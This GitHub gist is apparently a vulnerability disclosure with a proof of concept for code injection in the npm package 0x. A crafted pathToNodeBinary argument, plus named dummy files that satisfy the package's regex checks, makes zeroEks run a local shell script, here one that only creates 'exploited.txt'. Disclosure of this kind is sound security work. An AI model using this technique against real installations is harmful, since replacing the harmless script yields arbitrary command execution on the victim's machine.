Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active October 29, 2023 12:21
Show Gist options
  • Save mcoimbra/b81d3b5f209713369a84c177791c9c79 to your computer and use it in GitHub Desktop.
Save mcoimbra/b81d3b5f209713369a84c177791c9c79 to your computer and use it in GitHub Desktop.
Package 0x: Affected versions of this package are vulnerable to code injection. Calling zeroEks(args) will execute a local file local-touch.sh (via lib/v8-log-to-ticks.js#74) which may run arbitrary commands. This requires the presence of additional files which can be empty.
const zeroEks = require('0x');
var args = {
pathToNodeBinary: "./local-touch.sh",
visualizeOnly: "./",
v: true
}
/*
* For this to work, the following files with specific names must be present
* to pass through certain regex points in the 0x package execution flow:
* - isolate-0xaBDcEEd-5671283554685763082363172-133712419908-v8.log
* - statcks.5.out
* This example will call 'local-touch.sh' which will have been created beforehand.
* A local 'exploited.txt' file will be created.
*/
zeroEks(args)
#!/bin/bash
touch "exploited.txt"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment